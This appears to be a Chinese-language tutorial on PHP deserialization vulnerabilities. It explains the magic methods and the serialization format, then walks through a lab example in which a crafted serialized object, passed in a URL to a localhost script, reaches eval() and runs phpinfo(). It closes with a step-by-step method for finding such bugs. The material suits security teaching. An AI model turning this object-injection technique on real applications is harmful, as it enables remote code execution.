反序列化

超详细的参考博客

定义

魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候

反序列化成因

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象(也就是说,即使在类的定义中没有这个变量,我们仍然可以通过反序列化传入指定名称的变量),如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

反序列化漏洞的成因在于魔术方法中可能会存在系统调用或者任意代码执行的点,那么如果攻击者精心构造的序列化数据可以触发这些魔术方法,那么便会达成意料之外的危害

反序列化的应用

PHP反序列化标识符含义:

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); //  s:11:"hello world";  序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); //  i:123456;  
?>

<?php
class hello{
    public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母代表参数类型 O->Objext S->String...
?>

例题

<?php
class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

首先我们能看到 unserialize() 函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用), 那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数 __destruct(), 这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,好,既然这样我们就决定反序列化这个类的对象了,接下来让我们看一下怎么利用(我上面说过了,我们需要控制这个类的某些属性,通过控制属性实现我们的攻击).

destruct() 里面只用到了一个属性 test ,那肯定就是他了,那我们控制这个属性为什么内容我们就能攻击了呢,我们再观察一下 那些地方调用了 action() 函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的。 果然我们在 Evil 这个类中发现他的 action() 函数调用了 eval(),那我们的想法就很明确了,我们需要将 K0rz3n 这个类中的 test 属性篡改为 Evil 这个类的对象,然后为了 eval 能执行命令,我们还要篡改 Evil 对象的 test2 属性,将其改成我们的 Payload.

分析完毕以后我们就可以构建我们的序列化字符串了,构建的方法不是手写(当然你愿意我也不拦着你,理论上是可行的),我们要将这段代码复制一下,然后修改一些内容并进行序列化操作.

<?php
class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}


class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);

我们去除了一切与我们要篡改的属性无关的内容,对其进行序列化操作,然后将序列化的结果复制出来,想刚刚的代码发起请求

http://127.0.0.1/php_unserialize/K0rz3n.php?test=O:6:“K0rz3n”:1:{s:12:“K0rz3ntest”;O:4:“Evil”:1:{s:5:“test2”;s:10:“phpinfo();”;}}

注意要添加上:%00xxx%00

可以看到我们攻击成功,特别要提醒一下的就是我在图中框起来的部分,上面说过由于是私有属性,他有自己特殊的格式会在前后加两个 %00 ,所以我们在传输过程中绝对不能忘掉.

通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程

(1) 寻找 unserialize() 函数的参数是否有我们的可控点

(2) 寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

(3) 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

(4) 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击